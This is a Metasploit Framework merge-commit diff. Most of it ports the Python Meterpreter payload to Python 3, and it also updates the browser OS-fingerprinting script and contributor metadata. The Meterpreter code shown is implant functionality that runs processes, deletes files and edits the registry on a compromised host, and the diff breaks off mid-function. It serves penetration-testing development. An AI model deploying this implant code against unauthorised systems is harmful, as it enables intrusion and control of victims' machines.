Merge branch 'upstream/master' into meatballs x64_injection
commit
5879ca3340
1
.mailmap
1
.mailmap
|
@ -18,6 +18,7 @@ todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
|||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
||||
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||
trosen-r7 <trosen-r7@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||
wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
|
||||
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
|
||||
|
|
|
@ -50,7 +50,7 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940)
|
|||
#### New Modules
|
||||
|
||||
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
|
||||
* **Do** use the [many module mixin APIs](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Do** use the [many module mixin APIs](https://dev.metasploit.com/api/). Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
|
||||
#### Library Code
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Before Width: | Height: | Size: 3.0 KiB |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -20,6 +20,7 @@ arch_armle = "armle";
|
|||
arch_x86 = "x86";
|
||||
arch_x86_64 = "x86_64";
|
||||
arch_ppc = "ppc";
|
||||
arch_mipsle = "mipsle";
|
||||
|
||||
window.os_detect = {};
|
||||
|
||||
|
@ -184,9 +185,15 @@ window.os_detect.getVersion = function(){
|
|||
} else if (platform.match(/arm/)) {
|
||||
// Android and maemo
|
||||
arch = arch_armle;
|
||||
if (navigator.userAgent.match(/android/i)) {
|
||||
os_flavor = 'Android';
|
||||
}
|
||||
} else if (platform.match(/x86/)) {
|
||||
arch = arch_x86;
|
||||
} else if (platform.match(/mips/)) {
|
||||
arch = arch_mipsle;
|
||||
}
|
||||
|
||||
|
||||
if (navigator.userAgent.match(/android/i)) {
|
||||
os_flavor = 'Android';
|
||||
}
|
||||
} else if (platform.match(/windows/)) {
|
||||
os_name = oses_windows;
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -48,6 +48,24 @@ try:
|
|||
except ImportError:
|
||||
has_winreg = False
|
||||
|
||||
try:
|
||||
import winreg
|
||||
has_winreg = True
|
||||
except ImportError:
|
||||
has_winreg = (has_winreg or False)
|
||||
|
||||
if sys.version_info[0] < 3:
|
||||
is_str = lambda obj: issubclass(obj.__class__, str)
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||
bytes = lambda *args: str(*args[:1])
|
||||
NULL_BYTE = '\x00'
|
||||
else:
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||
long = int
|
||||
|
||||
if has_ctypes:
|
||||
#
|
||||
# Windows Structures
|
||||
|
@ -498,11 +516,12 @@ def get_stat_buffer(path):
|
|||
blocks = si.st_blocks
|
||||
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
|
||||
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
|
||||
st_buf += struct.pack('<IIII', si.st_size, si.st_atime, si.st_mtime, si.st_ctime)
|
||||
st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
|
||||
st_buf += struct.pack('<II', blksize, blocks)
|
||||
return st_buf
|
||||
|
||||
def netlink_request(req_type):
|
||||
import select
|
||||
# See RFC 3549
|
||||
NLM_F_REQUEST = 0x0001
|
||||
NLM_F_ROOT = 0x0100
|
||||
|
@ -513,17 +532,25 @@ def netlink_request(req_type):
|
|||
sock.bind((os.getpid(), 0))
|
||||
seq = int(time.time())
|
||||
nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC)
|
||||
sfd = os.fdopen(sock.fileno(), 'w+b')
|
||||
sfd.write(nlmsg)
|
||||
sock.send(nlmsg)
|
||||
responses = []
|
||||
response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
|
||||
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
|
||||
return responses
|
||||
raw_response_data = sock.recv(0xfffff)
|
||||
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
|
||||
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
|
||||
while response.type != NLMSG_DONE:
|
||||
if response.type == NLMSG_ERROR:
|
||||
break
|
||||
response_data = sfd.read(response.len - 16)
|
||||
response_data = raw_response_data[:(response.len - 16)]
|
||||
responses.append(response_data)
|
||||
response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
|
||||
sfd.close()
|
||||
raw_response_data = raw_response_data[len(response_data):]
|
||||
if not len(raw_response_data):
|
||||
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
|
||||
break
|
||||
raw_response_data = sock.recv(0xfffff)
|
||||
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
|
||||
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
|
||||
sock.close()
|
||||
return responses
|
||||
|
||||
|
@ -559,7 +586,7 @@ def channel_open_stdapi_fs_file(request, response):
|
|||
else:
|
||||
fmode = 'rb'
|
||||
file_h = open(fpath, fmode)
|
||||
channel_id = meterpreter.add_channel(file_h)
|
||||
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
|
@ -675,6 +702,7 @@ def stdapi_sys_process_execute(request, response):
|
|||
proc_h.stderr = open(os.devnull, 'rb')
|
||||
else:
|
||||
proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
proc_h.echo_protection = True
|
||||
proc_h.start()
|
||||
else:
|
||||
proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
@ -693,15 +721,15 @@ def stdapi_sys_process_getpid(request, response):
|
|||
|
||||
def stdapi_sys_process_get_processes_via_proc(request, response):
|
||||
for pid in os.listdir('/proc'):
|
||||
pgroup = ''
|
||||
pgroup = bytes()
|
||||
if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
|
||||
continue
|
||||
cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ')
|
||||
status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read()
|
||||
cmdline_file = open(os.path.join('/proc', pid, 'cmdline'), 'rb')
|
||||
cmd = str(cmdline_file.read(512).replace(NULL_BYTE, bytes(' ', 'UTF-8')))
|
||||
status_data = str(open(os.path.join('/proc', pid, 'status'), 'rb').read())
|
||||
status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
|
||||
status_data = filter(lambda x: len(x) == 2, status_data)
|
||||
status = {}
|
||||
for k, v in status_data:
|
||||
for k, v in filter(lambda x: len(x) == 2, status_data):
|
||||
status[k[:-1]] = v.strip()
|
||||
ppid = status.get('PPid')
|
||||
uid = status.get('Uid').split('\t', 1)[0]
|
||||
|
@ -725,14 +753,14 @@ def stdapi_sys_process_get_processes_via_proc(request, response):
|
|||
def stdapi_sys_process_get_processes_via_ps(request, response):
|
||||
ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
|
||||
proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
ps_output = proc_h.stdout.read()
|
||||
ps_output = str(proc_h.stdout.read())
|
||||
ps_output = ps_output.split('\n')
|
||||
ps_output.pop(0)
|
||||
for process in ps_output:
|
||||
process = process.split()
|
||||
if len(process) < 4:
|
||||
break
|
||||
pgroup = ''
|
||||
pgroup = bytes()
|
||||
pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
|
||||
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
|
||||
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
|
||||
|
@ -793,7 +821,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
|
|||
use = ctypes.c_ulong()
|
||||
use.value = 0
|
||||
ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
|
||||
complete_username = ctypes.string_at(domain) + '\\' + ctypes.string_at(username)
|
||||
complete_username = str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(username))
|
||||
k32.CloseHandle(tkn_h)
|
||||
parch = windll_GetNativeSystemInfo()
|
||||
is_wow64 = ctypes.c_ubyte()
|
||||
|
@ -802,7 +830,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
|
|||
if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
|
||||
if is_wow64.value:
|
||||
parch = PROCESS_ARCH_X86
|
||||
pgroup = ''
|
||||
pgroup = bytes()
|
||||
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
|
||||
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
|
||||
pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
|
||||
|
@ -850,16 +878,18 @@ def stdapi_fs_delete_dir(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_delete_file(request, response):
|
||||
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
os.unlink(file_path)
|
||||
if os.path.exists(file_path):
|
||||
os.unlink(file_path)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_file_expand_path(request, response):
|
||||
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
if has_windll:
|
||||
path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8'))
|
||||
path_out = (ctypes.c_char * 4096)()
|
||||
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
|
||||
result = ''.join(path_out)[:path_out_len]
|
||||
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out))
|
||||
result = str(ctypes.string_at(path_out))
|
||||
elif path_tlv == '%COMSPEC%':
|
||||
result = '/bin/sh'
|
||||
elif path_tlv in ['%TEMP%', '%TMP%']:
|
||||
|
@ -912,7 +942,8 @@ def stdapi_fs_md5(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_mkdir(request, response):
|
||||
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
os.mkdir(dir_path)
|
||||
if not os.path.isdir(dir_path):
|
||||
os.mkdir(dir_path)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
@ -965,7 +996,7 @@ def stdapi_fs_stat(request, response):
|
|||
|
||||
@meterpreter.register_function
|
||||
def stdapi_net_config_get_interfaces(request, response):
|
||||
if hasattr(socket, 'AF_NETLINK'):
|
||||
if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
|
||||
interfaces = stdapi_net_config_get_interfaces_via_netlink()
|
||||
elif has_osxsc:
|
||||
interfaces = stdapi_net_config_get_interfaces_via_osxsc()
|
||||
|
@ -974,7 +1005,7 @@ def stdapi_net_config_get_interfaces(request, response):
|
|||
else:
|
||||
return ERROR_FAILURE, response
|
||||
for iface_info in interfaces:
|
||||
iface_tlv = ''
|
||||
iface_tlv = bytes()
|
||||
iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
|
||||
iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
|
||||
if 'mtu' in iface_info:
|
||||
|
@ -1002,7 +1033,7 @@ def stdapi_net_config_get_interfaces_via_netlink():
|
|||
0x0100: 'PROMISC',
|
||||
0x1000: 'MULTICAST'
|
||||
}
|
||||
iface_flags_sorted = iface_flags.keys()
|
||||
iface_flags_sorted = list(iface_flags.keys())
|
||||
# Dictionaries don't maintain order
|
||||
iface_flags_sorted.sort()
|
||||
interfaces = {}
|
||||
|
@ -1106,7 +1137,7 @@ def stdapi_net_config_get_interfaces_via_osxsc():
|
|||
hw_addr = hw_addr.replace(':', '')
|
||||
hw_addr = hw_addr.decode('hex')
|
||||
iface_info['hw_addr'] = hw_addr
|
||||
ifnames = interfaces.keys()
|
||||
ifnames = list(interfaces.keys())
|
||||
ifnames.sort()
|
||||
for iface_name, iface_info in interfaces.items():
|
||||
iface_info['index'] = ifnames.index(iface_name)
|
||||
|
@ -1138,7 +1169,10 @@ def stdapi_net_config_get_interfaces_via_windll():
|
|||
iface_info['index'] = AdapterAddresses.u.s.IfIndex
|
||||
if AdapterAddresses.PhysicalAddressLength:
|
||||
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
|
||||
iface_info['name'] = str(ctypes.wstring_at(AdapterAddresses.Description))
|
||||
iface_desc = ctypes.wstring_at(AdapterAddresses.Description)
|
||||
if not is_str(iface_desc):
|
||||
iface_desc = str(iface_desc)
|
||||
iface_info['name'] = iface_desc
|
||||
iface_info['mtu'] = AdapterAddresses.Mtu
|
||||
pUniAddr = AdapterAddresses.FirstUnicastAddress
|
||||
while pUniAddr:
|
||||
|
@ -1174,7 +1208,7 @@ def stdapi_net_config_get_interfaces_via_windll_mib():
|
|||
table_data = ctypes.string_at(table, pdwSize.value)
|
||||
entries = struct.unpack('I', table_data[:4])[0]
|
||||
table_data = table_data[4:]
|
||||
for i in xrange(entries):
|
||||
for i in range(entries):
|
||||
addrrow = cstruct_unpack(MIB_IPADDRROW, table_data)
|
||||
ifrow = MIB_IFROW()
|
||||
ifrow.dwIndex = addrrow.dwIndex
|
||||
|
@ -1244,9 +1278,10 @@ def stdapi_registry_close_key(request, response):
|
|||
def stdapi_registry_create_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
||||
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||
res_key = ctypes.c_void_p()
|
||||
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
|
||||
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
|
||||
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
|
||||
return ERROR_SUCCESS, response
|
||||
return ERROR_FAILURE, response
|
||||
|
@ -1255,18 +1290,20 @@ def stdapi_registry_create_key(request, response):
|
|||
def stdapi_registry_delete_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
||||
flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
|
||||
if (flags & DELETE_KEY_FLAG_RECURSIVE):
|
||||
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key)
|
||||
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, ctypes.byref(base_key))
|
||||
else:
|
||||
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key)
|
||||
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, ctypes.byref(base_key))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_delete_value(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name)
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
@ -1335,9 +1372,10 @@ def stdapi_registry_load_key(request, response):
|
|||
def stdapi_registry_open_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
||||
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||
handle_id = ctypes.c_void_p()
|
||||
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
|
||||
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
|
||||
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
|
||||
return ERROR_SUCCESS, response
|
||||
return ERROR_FAILURE, response
|
||||
|
@ -1367,24 +1405,26 @@ def stdapi_registry_query_class(request, response):
|
|||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_value(request, response):
|
||||
REG_SZ = 1
|
||||
REG_DWORD = 4
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
value_type = ctypes.c_uint32()
|
||||
value_type.value = 0
|
||||
value_data = (ctypes.c_ubyte * 4096)()
|
||||
value_data_sz = ctypes.c_uint32()
|
||||
value_data_sz.value = ctypes.sizeof(value_data)
|
||||
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
|
||||
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
|
||||
if result == ERROR_SUCCESS:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
|
||||
if value_type.value == REG_SZ:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00')
|
||||
elif value_type.value == REG_DWORD:
|
||||
if value_type.value == winreg.REG_SZ:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE)
|
||||
elif value_type.value == winreg.REG_DWORD:
|
||||
value = value_data[:4]
|
||||
value.reverse()
|
||||
value = ''.join(map(chr, value))
|
||||
if sys.version_info[0] < 3:
|
||||
value = ''.join(map(chr, value))
|
||||
else:
|
||||
value = bytes(value)
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
|
||||
else:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
|
||||
|
@ -1395,9 +1435,10 @@ def stdapi_registry_query_value(request, response):
|
|||
def stdapi_registry_set_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
|
||||
value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
|
||||
result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data))
|
||||
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,12 +1,5 @@
|
|||
#!/usr/bin/python
|
||||
import code
|
||||
try:
|
||||
import ctypes
|
||||
except:
|
||||
has_windll = False
|
||||
else:
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
|
||||
import os
|
||||
import random
|
||||
import select
|
||||
|
@ -15,10 +8,30 @@ import struct
|
|||
import subprocess
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
import traceback
|
||||
|
||||
try:
|
||||
import ctypes
|
||||
except ImportError:
|
||||
has_windll = False
|
||||
else:
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
|
||||
if sys.version_info[0] < 3:
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||
bytes = lambda *args: str(*args[:1])
|
||||
NULL_BYTE = '\x00'
|
||||
else:
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||
|
||||
#
|
||||
# Constants
|
||||
#
|
||||
DEBUGGING = False
|
||||
|
||||
PACKET_TYPE_REQUEST = 0
|
||||
PACKET_TYPE_RESPONSE = 1
|
||||
PACKET_TYPE_PLAIN_REQUEST = 10
|
||||
|
@ -100,6 +113,7 @@ TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
|
|||
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
|
||||
|
||||
EXPORTED_SYMBOLS = {}
|
||||
EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING
|
||||
|
||||
def export(symbol):
|
||||
EXPORTED_SYMBOLS[symbol.__name__] = symbol
|
||||
|
@ -107,7 +121,7 @@ def export(symbol):
|
|||
|
||||
def generate_request_id():
|
||||
chars = 'abcdefghijklmnopqrstuvwxyz'
|
||||
return ''.join(random.choice(chars) for x in xrange(32))
|
||||
return ''.join(random.choice(chars) for x in range(32))
|
||||
|
||||
@export
|
||||
def inet_pton(family, address):
|
||||
|
@ -125,25 +139,6 @@ def inet_pton(family, address):
|
|||
return ''.join(map(chr, lpAddress[8:24]))
|
||||
raise Exception('no suitable inet_pton functionality is available')
|
||||
|
||||
@export
|
||||
def packet_get_tlv(pkt, tlv_type):
|
||||
offset = 0
|
||||
while (offset < len(pkt)):
|
||||
tlv = struct.unpack('>II', pkt[offset:offset+8])
|
||||
if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type:
|
||||
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
|
||||
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
val = val.split('\x00', 1)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
val = struct.unpack('>I', val)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||
val = bool(struct.unpack('b', val)[0])
|
||||
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||
pass
|
||||
return {'type':tlv[1], 'length':tlv[0], 'value':val}
|
||||
offset += tlv[0]
|
||||
return {}
|
||||
|
||||
@export
|
||||
def packet_enum_tlvs(pkt, tlv_type = None):
|
||||
offset = 0
|
||||
|
@ -152,7 +147,7 @@ def packet_enum_tlvs(pkt, tlv_type = None):
|
|||
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
|
||||
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
|
||||
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
val = val.split('\x00', 1)[0]
|
||||
val = str(val.split(NULL_BYTE, 1)[0])
|
||||
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
val = struct.unpack('>I', val)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||
|
@ -163,6 +158,14 @@ def packet_enum_tlvs(pkt, tlv_type = None):
|
|||
offset += tlv[0]
|
||||
raise StopIteration()
|
||||
|
||||
@export
|
||||
def packet_get_tlv(pkt, tlv_type):
|
||||
try:
|
||||
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
|
||||
except IndexError:
|
||||
return {}
|
||||
return tlv
|
||||
|
||||
@export
|
||||
def tlv_pack(*args):
|
||||
if len(args) == 2:
|
||||
|
@ -170,20 +173,33 @@ def tlv_pack(*args):
|
|||
else:
|
||||
tlv = args[0]
|
||||
data = ""
|
||||
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00'
|
||||
elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
|
||||
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||
data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value'])))
|
||||
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
||||
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
|
||||
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
||||
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
|
||||
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
|
||||
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
|
||||
else:
|
||||
value = tlv['value']
|
||||
if not is_bytes(value):
|
||||
value = bytes(value, 'UTF-8')
|
||||
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
|
||||
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
|
||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
|
||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||
return data
|
||||
|
||||
#@export
|
||||
class MeterpreterFile(object):
|
||||
def __init__(self, file_obj):
|
||||
self.file_obj = file_obj
|
||||
|
||||
def __getattr__(self, name):
|
||||
return getattr(self.file_obj, name)
|
||||
export(MeterpreterFile)
|
||||
|
||||
#@export
|
||||
class MeterpreterSocket(object):
|
||||
def __init__(self, sock):
|
||||
|
@ -208,11 +224,11 @@ class STDProcessBuffer(threading.Thread):
|
|||
threading.Thread.__init__(self)
|
||||
self.std = std
|
||||
self.is_alive = is_alive
|
||||
self.data = ''
|
||||
self.data = bytes()
|
||||
self.data_lock = threading.RLock()
|
||||
|
||||
def run(self):
|
||||
for byte in iter(lambda: self.std.read(1), ''):
|
||||
for byte in iter(lambda: self.std.read(1), bytes()):
|
||||
self.data_lock.acquire()
|
||||
self.data += byte
|
||||
self.data_lock.release()
|
||||
|
@ -220,15 +236,20 @@ class STDProcessBuffer(threading.Thread):
|
|||
def is_read_ready(self):
|
||||
return len(self.data) != 0
|
||||
|
||||
def read(self, l = None):
|
||||
data = ''
|
||||
def peek(self, l = None):
|
||||
data = bytes()
|
||||
self.data_lock.acquire()
|
||||
if l == None:
|
||||
data = self.data
|
||||
self.data = ''
|
||||
else:
|
||||
data = self.data[0:l]
|
||||
self.data = self.data[l:]
|
||||
self.data_lock.release()
|
||||
return data
|
||||
|
||||
def read(self, l = None):
|
||||
